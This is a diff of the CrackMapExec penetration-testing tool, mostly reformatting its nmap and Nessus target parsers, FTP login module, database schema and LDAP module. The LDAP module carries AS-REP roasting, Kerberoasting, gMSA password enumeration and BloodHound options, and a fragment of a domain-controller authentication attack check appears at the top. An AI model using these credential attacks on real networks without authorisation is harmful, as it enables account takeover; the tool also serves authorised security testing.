assert server_auth["ErrorCode"] == 0
|
||||
return True
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
|
||||
if ex.get_error_code() == 0xc0000022:
|
||||
if ex.get_error_code() == 0xC0000022:
|
||||
return None
|
||||
else:
|
||||
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
|
||||
fail(f"Unexpected error code from DC: {ex.get_error_code()}.")
|
||||
except BaseException as ex:
|
||||
fail(f'Unexpected error: {ex}.')
|
||||
fail(f"Unexpected error: {ex}.")
|
||||
|
||||
+4
-5
@@ -3,18 +3,17 @@
|
||||
|
||||
from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
|
||||
|
||||
|
||||
def parse_targets(target):
|
||||
try:
|
||||
if '-' in target:
|
||||
start_ip, end_ip = target.split('-')
|
||||
if "-" in target:
|
||||
start_ip, end_ip = target.split("-")
|
||||
try:
|
||||
end_ip = ip_address(end_ip)
|
||||
except ValueError:
|
||||
first_three_octets = start_ip.split(".")[:-1]
|
||||
first_three_octets.append(end_ip)
|
||||
end_ip = ip_address(
|
||||
".".join(first_three_octets)
|
||||
)
|
||||
end_ip = ip_address(".".join(first_three_octets))
|
||||
|
||||
for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
|
||||
for ip in ip_range:
|
||||
|
||||
+12
-12
@@ -5,11 +5,11 @@ import xmltodict
|
||||
|
||||
# Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
|
||||
protocol_dict = {
|
||||
'smb': {'ports': [445, 139], 'services': ['smb', 'cifs']},
|
||||
'mssql': {'ports': [1433], 'services': ['mssql']},
|
||||
'ssh': {'ports': [22], 'services': ['ssh']},
|
||||
'winrm': {'ports': [5986, 5985], 'services': ['www', 'https?']},
|
||||
'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['www', 'https?']}
|
||||
"smb": {"ports": [445, 139], "services": ["smb", "cifs"]},
|
||||
"mssql": {"ports": [1433], "services": ["mssql"]},
|
||||
"ssh": {"ports": [22], "services": ["ssh"]},
|
||||
"winrm": {"ports": [5986, 5985], "services": ["www", "https?"]},
|
||||
"http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]},
|
||||
}
|
||||
|
||||
|
||||
@@ -20,25 +20,25 @@ def parse_nessus_file(nessus_file, protocol):
|
||||
# Must return True otherwise xmltodict will throw a ParsingIterrupted() exception
|
||||
# https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219
|
||||
|
||||
if any('ReportHost' and 'ReportItem' in values for values in path):
|
||||
if any("ReportHost" and "ReportItem" in values for values in path):
|
||||
item = dict(path)
|
||||
ip = item['ReportHost']['name']
|
||||
ip = item["ReportHost"]["name"]
|
||||
if ip in targets:
|
||||
return True
|
||||
|
||||
port = item['ReportItem']['port']
|
||||
svc_name = item['ReportItem']['svc_name']
|
||||
port = item["ReportItem"]["port"]
|
||||
svc_name = item["ReportItem"]["svc_name"]
|
||||
|
||||
if port in protocol_dict[protocol]['ports']:
|
||||
if port in protocol_dict[protocol]["ports"]:
|
||||
targets.append(ip)
|
||||
if svc_name in protocol_dict[protocol]['services']:
|
||||
if svc_name in protocol_dict[protocol]["services"]:
|
||||
targets.append(ip)
|
||||
|
||||
return True
|
||||
else:
|
||||
return True
|
||||
|
||||
with open(nessus_file, 'r') as file_handle:
|
||||
with open(nessus_file, "r") as file_handle:
|
||||
xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file)
|
||||
|
||||
return targets
|
||||
|
||||
+16
-13
@@ -5,31 +5,34 @@ import xmltodict
|
||||
|
||||
# Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard
|
||||
protocol_dict = {
|
||||
'smb': {'ports': [445, 139], 'services': ['netbios-ssn', 'microsoft-ds']},
|
||||
'mssql': {'ports': [1433], 'services': ['ms-sql-s']},
|
||||
'ssh': {'ports': [22], 'services': ['ssh']},
|
||||
'winrm': {'ports': [5986, 5985], 'services': ['wsman']},
|
||||
'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['http', 'ssl/https']}
|
||||
"smb": {"ports": [445, 139], "services": ["netbios-ssn", "microsoft-ds"]},
|
||||
"mssql": {"ports": [1433], "services": ["ms-sql-s"]},
|
||||
"ssh": {"ports": [22], "services": ["ssh"]},
|
||||
"winrm": {"ports": [5986, 5985], "services": ["wsman"]},
|
||||
"http": {
|
||||
"ports": [80, 443, 8443, 8008, 8080, 8081],
|
||||
"services": ["http", "ssl/https"],
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def parse_nmap_xml(nmap_output_file, protocol):
|
||||
targets = []
|
||||
|
||||
with open(nmap_output_file, 'r') as file_handle:
|
||||
with open(nmap_output_file, "r") as file_handle:
|
||||
scan_output = xmltodict.parse(file_handle.read())
|
||||
|
||||
for host in scan_output['nmaprun']['host']:
|
||||
if host['address'][0]['@addrtype'] != 'ipv4':
|
||||
for host in scan_output["nmaprun"]["host"]:
|
||||
if host["address"][0]["@addrtype"] != "ipv4":
|
||||
continue
|
||||
|
||||
ip = host['address'][0]['@addr']
|
||||
for port in host['ports']['port']:
|
||||
if port['state']['@state'] == 'open':
|
||||
if 'service' in port and (port['service']['@name'] in protocol_dict[protocol]['services']):
|
||||
ip = host["address"][0]["@addr"]
|
||||
for port in host["ports"]["port"]:
|
||||
if port["state"]["@state"] == "open":
|
||||
if "service" in port and (port["service"]["@name"] in protocol_dict[protocol]["services"]):
|
||||
if ip not in targets:
|
||||
targets.append(ip)
|
||||
elif port['@portid'] in protocol_dict[protocol]['ports']:
|
||||
elif port["@portid"] in protocol_dict[protocol]["ports"]:
|
||||
if ip not in targets:
|
||||
targets.append(ip)
|
||||
|
||||
|
||||
+11
-11
@@ -2,14 +2,14 @@ import os
|
||||
import sys
|
||||
import cme
|
||||
|
||||
CME_PATH = os.path.expanduser('~/.cme')
|
||||
TMP_PATH = os.path.join('/tmp', 'cme_hosted')
|
||||
if os.name == 'nt':
|
||||
TMP_PATH = os.getenv('LOCALAPPDATA') + '\\Temp\\cme_hosted'
|
||||
if hasattr(sys, 'getandroidapilevel'):
|
||||
TMP_PATH = os.path.join('/data', 'data', 'com.termux', 'files', 'usr', 'tmp', 'cme_hosted')
|
||||
WS_PATH = os.path.join(CME_PATH, 'workspaces')
|
||||
CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
|
||||
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
|
||||
WORKSPACE_DIR = os.path.join(CME_PATH, 'workspaces')
|
||||
DATA_PATH = os.path.join(os.path.dirname(cme.__file__), 'data')
|
||||
CME_PATH = os.path.expanduser("~/.cme")
|
||||
TMP_PATH = os.path.join("/tmp", "cme_hosted")
|
||||
if os.name == "nt":
|
||||
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\cme_hosted"
|
||||
if hasattr(sys, "getandroidapilevel"):
|
||||
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "cme_hosted")
|
||||
WS_PATH = os.path.join(CME_PATH, "workspaces")
|
||||
CERT_PATH = os.path.join(CME_PATH, "cme.pem")
|
||||
CONFIG_PATH = os.path.join(CME_PATH, "cme.conf")
|
||||
WORKSPACE_DIR = os.path.join(CME_PATH, "workspaces")
|
||||
DATA_PATH = os.path.join(os.path.dirname(cme.__file__), "data")
|
||||
|
||||
@@ -7,7 +7,6 @@ from ftplib import FTP, error_reply, error_temp, error_perm, error_proto
|
||||
|
||||
|
||||
class ftp(connection):
|
||||
|
||||
@staticmethod
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
ftp_parser = parser.add_parser('ftp', help="own stuff using FTP", parents=[std_parser, module_parser])
|
||||
@@ -24,7 +23,7 @@ class ftp(connection):
|
||||
"protocol": "FTP",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"hostname": self.hostname
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -66,15 +65,11 @@ class ftp(connection):
|
||||
try:
|
||||
self.conn.login(user=username, passwd=password)
|
||||
|
||||
self.logger.success(
|
||||
f"{username}:{process_secret(password)}"
|
||||
)
|
||||
self.logger.success(f"{username}:{process_secret(password)}")
|
||||
|
||||
self.conn.close()
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.fail(
|
||||
f'{username}:{process_secret(password)} (Response:{e})'
|
||||
)
|
||||
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
|
||||
self.conn.close()
|
||||
return False
|
||||
|
||||
@@ -3,46 +3,62 @@
|
||||
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from cme.logger import cme_logger
|
||||
|
||||
|
||||
class database:
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(
|
||||
bind=self.db_engine,
|
||||
expire_on_commit=True
|
||||
)
|
||||
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
self.sess = Session()
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
db_conn.execute('''CREATE TABLE "credentials" (
|
||||
db_conn.execute("""CREATE TABLE "credentials" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"username" text,
|
||||
"password" text
|
||||
)''')
|
||||
)""")
|
||||
|
||||
db_conn.execute('''CREATE TABLE "hosts" (
|
||||
db_conn.execute("""CREATE TABLE "hosts" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"ip" text,
|
||||
"host" text,
|
||||
"port" integer,
|
||||
"server_banner" text
|
||||
)''')
|
||||
"banner" text
|
||||
)""")
|
||||
db_conn.execute("""CREATE TABLE "loggedin_relations" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"credid" integer,
|
||||
"hostid" integer,
|
||||
FOREIGN KEY(credid) REFERENCES credentials(id),
|
||||
FOREIGN KEY(hostid) REFERENCES hosts(id)
|
||||
)""")
|
||||
|
||||
def reflect_tables(self):
|
||||
with self.db_engine.connect() as conn:
|
||||
try:
|
||||
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
|
||||
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
|
||||
self.CredentialsTable = Table(
|
||||
"credentials", self.metadata, autoload_with=self.db_engine
|
||||
)
|
||||
self.HostsTable = Table(
|
||||
"hosts", self.metadata, autoload_with=self.db_engine
|
||||
)
|
||||
self.LoggedinRelationsTable = Table(
|
||||
"loggedin_relations", self.metadata, autoload_with=self.db_engine
|
||||
)
|
||||
except (NoInspectionAvailable, NoSuchTableError):
|
||||
print(
|
||||
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
|
||||
@@ -54,7 +70,7 @@ class database:
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.conn.close()
|
||||
self.sess.close()
|
||||
# due to the async nature of CME, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
@@ -63,5 +79,4 @@ class database:
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.conn.execute(table.delete())
|
||||
|
||||
self.sess.execute(table.delete())
|
||||
|
||||
@@ -15,4 +15,4 @@ class navigator(DatabaseNavigator):
|
||||
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
|
||||
YOU CANNOT UNDO THIS COMMAND
|
||||
"""
|
||||
print_help(help_string)
|
||||
print_help(help_string)
|
||||
|
||||
+345
-158
@@ -17,8 +17,12 @@ from bloodhound.ad.authentication import ADAuthentication
|
||||
from bloodhound.ad.domain import AD
|
||||
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, \
|
||||
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
|
||||
from impacket.dcerpc.v5.samr import (
|
||||
UF_ACCOUNTDISABLE,
|
||||
UF_DONT_REQUIRE_PREAUTH,
|
||||
UF_TRUSTED_FOR_DELEGATION,
|
||||
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,
|
||||
)
|
||||
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
|
||||
@@ -47,8 +51,9 @@ ldap_error_status = {
|
||||
"773": "STATUS_PASSWORD_MUST_CHANGE",
|
||||
"775": "USER_ACCOUNT_LOCKED",
|
||||
"50": "LDAP_INSUFFICIENT_ACCESS",
|
||||
"0": "LDAP Signing IS Enforced",
|
||||
"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED"
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
||||
}
|
||||
|
||||
|
||||
@@ -56,27 +61,52 @@ def resolve_collection_methods(methods):
|
||||
"""
|
||||
Convert methods (string) to list of validated methods to resolve
|
||||
"""
|
||||
valid_methods = ['group', 'localadmin', 'session', 'trusts', 'default', 'all', 'loggedon',
|
||||
'objectprops', 'experimental', 'acl', 'dcom', 'rdp', 'psremote', 'dconly',
|
||||
'container']
|
||||
default_methods = ['group', 'localadmin', 'session', 'trusts']
|
||||
valid_methods = [
|
||||
"group",
|
||||
"localadmin",
|
||||
"session",
|
||||
"trusts",
|
||||
"default",
|
||||
"all",
|
||||
"loggedon",
|
||||
"objectprops",
|
||||
"experimental",
|
||||
"acl",
|
||||
"dcom",
|
||||
"rdp",
|
||||
"psremote",
|
||||
"dconly",
|
||||
"container",
|
||||
]
|
||||
default_methods = ["group", "localadmin", "session", "trusts"]
|
||||
# Similar to SharpHound, All is not really all, it excludes loggedon
|
||||
all_methods = ['group', 'localadmin', 'session', 'trusts', 'objectprops', 'acl', 'dcom', 'rdp', 'psremote', 'container']
|
||||
all_methods = [
|
||||
"group",
|
||||
"localadmin",
|
||||
"session",
|
||||
"trusts",
|
||||
"objectprops",
|
||||
"acl",
|
||||
"dcom",
|
||||
"rdp",
|
||||
"psremote",
|
||||
"container",
|
||||
]
|
||||
# DC only, does not collect to computers
|
||||
dconly_methods = ['group', 'trusts', 'objectprops', 'acl', 'container']
|
||||
if ',' in methods:
|
||||
method_list = [method.lower() for method in methods.split(',')]
|
||||
dconly_methods = ["group", "trusts", "objectprops", "acl", "container"]
|
||||
if "," in methods:
|
||||
method_list = [method.lower() for method in methods.split(",")]
|
||||
validated_methods = []
|
||||
for method in method_list:
|
||||
if method not in valid_methods:
|
||||
cme_logger.error('Invalid collection method specified: %s', method)
|
||||
cme_logger.error("Invalid collection method specified: %s", method)
|
||||
return False
|
||||
|
||||
if method == 'default':
|
||||
if method == "default":
|
||||
validated_methods += default_methods
|
||||
elif method == 'all':
|
||||
elif method == "all":
|
||||
validated_methods += all_methods
|
||||
elif method == 'dconly':
|
||||
elif method == "dconly":
|
||||
validated_methods += dconly_methods
|
||||
else:
|
||||
validated_methods.append(method)
|
||||
@@ -86,24 +116,24 @@ def resolve_collection_methods(methods):
|
||||
# It is only one
|
||||
method = methods.lower()
|
||||
if method in valid_methods:
|
||||
if method == 'default':
|
||||
if method == "default":
|
||||
validated_methods += default_methods
|
||||
elif method == 'all':
|
||||
elif method == "all":
|
||||
validated_methods += all_methods
|
||||
elif method == 'dconly':
|
||||
elif method == "dconly":
|
||||
validated_methods += dconly_methods
|
||||
else:
|
||||
validated_methods.append(method)
|
||||
return set(validated_methods)
|
||||
else:
|
||||
cme_logger.error('Invalid collection method specified: %s', method)
|
||||
cme_logger.error("Invalid collection method specified: %s", method)
|
||||
return False
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop('make_required', [])
|
||||
x = kwargs.pop("make_required", [])
|
||||
super(ConditionalAction, self).__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
@@ -122,11 +152,11 @@ class ldap(connection):
|
||||
self.os_arch = 0
|
||||
self.hash = None
|
||||
self.ldapConnection = None
|
||||
self.lmhash = ''
|
||||
self.nthash = ''
|
||||
self.baseDN = ''
|
||||
self.target = ''
|
||||
self.targetDomain = ''
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.baseDN = ""
|
||||
self.target = ""
|
||||
self.targetDomain = ""
|
||||
self.remote_ops = None
|
||||
self.bootkey = None
|
||||
self.output_filename = None
|
||||
@@ -146,31 +176,64 @@ class ldap(connection):
|
||||
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help='No smb connection')
|
||||
|
||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
|
||||
domain_arg = dgroup.add_argument(
|
||||
"-d",
|
||||
metavar="DOMAIN",
|
||||
dest="domain",
|
||||
type=str,
|
||||
default=None,
|
||||
help="domain to authenticate to",
|
||||
)
|
||||
dgroup.add_argument(
|
||||
"--local-auth",
|
||||
action="store_true",
|
||||
help="authenticate locally to each target",
|
||||
)
|
||||
no_smb_arg.make_required = [domain_arg]
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
|
||||
egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat')
|
||||
egroup.add_argument("--kerberoasting", help="Get TGS ticket ready to crack with hashcat")
|
||||
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
|
||||
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
|
||||
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
|
||||
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
|
||||
vgroup = ldap_parser.add_argument_group(
|
||||
"Retrieve useful information on the domain",
|
||||
"Options to to play with Kerberos",
|
||||
)
|
||||
vgroup.add_argument(
|
||||
"--trusted-for-delegation",
|
||||
action="store_true",
|
||||
help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION",
|
||||
)
|
||||
vgroup.add_argument(
|
||||
"--password-not-required",
|
||||
action="store_true",
|
||||
help="Get the list of users with flag PASSWD_NOTREQD",
|
||||
)
|
||||
vgroup.add_argument(
|
||||
"--admin-count",
|
||||
action="store_true",
|
||||
help="Get objets that had the value adminCount=1",
|
||||
)
|
||||
vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
|
||||
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
|
||||
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
|
||||
|
||||
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
|
||||
ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
|
||||
ggroup.add_argument(
|
||||
"--gmsa-convert-id",
|
||||
help="Get the secret name of specific gmsa or all gmsa if no gmsa provided",
|
||||
)
|
||||
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
|
||||
|
||||
bgroup = ldap_parser.add_argument_group("Bloodhound scan", "Options to play with bloodhoud")
|
||||
bgroup.add_argument("--bloodhound", action="store_true", help="Perform bloodhound scan")
|
||||
bgroup.add_argument("-ns", '--nameserver', help="Custom DNS IP")
|
||||
bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
|
||||
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
|
||||
bgroup.add_argument(
|
||||
"-c",
|
||||
"--collection",
|
||||
help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All (all except LoggedOn). You can specify more than one by separating them with a comma. (default: Default)'",
|
||||
)
|
||||
|
||||
return parser
|
||||
|
||||
@@ -178,10 +241,10 @@ class ldap(connection):
|
||||
# self.logger = cme_logger
|
||||
self.logger = CMEAdapter(
|
||||
extra={
|
||||
'protocol': "LDAP",
|
||||
'host': self.host,
|
||||
'port': self.args.port,
|
||||
'hostname': self.hostname
|
||||
"protocol": "LDAP",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -206,7 +269,7 @@ class ldap(connection):
|
||||
resp = ldap_connection.search(
|
||||
scope=ldapasn1_impacket.Scope("baseObject"),
|
||||
attributes=["defaultNamingContext", "dnsHostName"],
|
||||
sizeLimit=0
|
||||
sizeLimit=0,
|
||||
)
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
@@ -216,9 +279,14 @@ class ldap(connection):
|
||||
base_dn = None
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute['type']) == "defaultNamingContext":
|
||||
if str(attribute["type"]) == "defaultNamingContext":
|
||||
base_dn = str(attribute["vals"][0])
|
||||
target_domain = sub(",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=I)[3:]
|
||||
target_domain = sub(
|
||||
",DC=",
|
||||
".",
|
||||
base_dn[base_dn.lower().find("dc=") :],
|
||||
flags=I,
|
||||
)[3:]
|
||||
if str(attribute["type"]) == "dnsHostName":
|
||||
target = str(attribute["vals"][0])
|
||||
except Exception as e:
|
||||
@@ -231,7 +299,7 @@ class ldap(connection):
|
||||
|
||||
def get_os_arch(self):
|
||||
try:
|
||||
string_binding = fr"ncacn_ip_tcp:{self.host}[135]"
|
||||
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
|
||||
transport = DCERPCTransportFactory(string_binding)
|
||||
transport.set_connect_timeout(5)
|
||||
dce = transport.get_dce_rpc()
|
||||
@@ -239,7 +307,10 @@ class ldap(connection):
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
try:
|
||||
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"))
|
||||
dce.bind(
|
||||
MSRPC_UUID_PORTMAP,
|
||||
transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"),
|
||||
)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("syntaxes_not_supported") >= 0:
|
||||
dce.disconnect()
|
||||
@@ -288,9 +359,9 @@ class ldap(connection):
|
||||
self.domain = self.conn.getServerDNSDomainName()
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 \
|
||||
else self.conn._SMBConnection._Connection["RequireSigning"]
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
|
||||
self.os_arch = self.get_os_arch()
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
@@ -308,9 +379,7 @@ class ldap(connection):
|
||||
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
self.output_filename = os.path.expanduser(
|
||||
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
|
||||
)
|
||||
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
|
||||
self.output_filename = self.output_filename.replace(":", "-")
|
||||
|
||||
def print_host_info(self):
|
||||
@@ -323,14 +392,21 @@ class ldap(connection):
|
||||
else:
|
||||
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
|
||||
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
|
||||
self.logger.display(
|
||||
f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})"
|
||||
)
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})")
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
# self.logger.display(self.endpoint)
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
# cme_logger.getLogger("impacket").disabled = True
|
||||
self.username = username
|
||||
self.password = password
|
||||
@@ -361,7 +437,7 @@ class ldap(connection):
|
||||
hash_asreproast.write(hash_tgt + "\n")
|
||||
return False
|
||||
|
||||
if not all('' == s for s in [self.nthash, password, aesKey]):
|
||||
if not all("" == s for s in [self.nthash, password, aesKey]):
|
||||
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
|
||||
else:
|
||||
kerb_pass = ""
|
||||
@@ -380,10 +456,10 @@ class ldap(connection):
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache
|
||||
useCache=useCache,
|
||||
)
|
||||
|
||||
if self.username == '':
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
|
||||
self.check_if_admin()
|
||||
@@ -404,7 +480,7 @@ class ldap(connection):
|
||||
# for PRE-AUTH account
|
||||
self.logger.success(
|
||||
f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}",
|
||||
color='yellow'
|
||||
color="yellow",
|
||||
)
|
||||
return False
|
||||
except SessionError as e:
|
||||
@@ -412,13 +488,13 @@ class ldap(connection):
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{used_ccache} {str(error)}",
|
||||
color='magenta' if error in ldap_error_status else 'red'
|
||||
color="magenta" if error in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
except (KeyError, KerberosException, OSError) as e:
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(e)}",
|
||||
color='red'
|
||||
color="red",
|
||||
)
|
||||
return False
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
@@ -437,10 +513,10 @@ class ldap(connection):
|
||||
self.nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache
|
||||
useCache=useCache,
|
||||
)
|
||||
|
||||
if self.username == '':
|
||||
if self.username == "":
|
||||
self.username = self.get_ldap_username()
|
||||
|
||||
self.check_if_admin()
|
||||
@@ -455,25 +531,25 @@ class ldap(connection):
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color='magenta' if error_code in ldap_error_status else 'red'
|
||||
)
|
||||
return False
|
||||
except SessionError as e:
|
||||
error, desc = e.getErrorString()
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(error)}",
|
||||
color='magenta' if error in ldap_error_status else 'red'
|
||||
color="magenta" if error in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
except:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
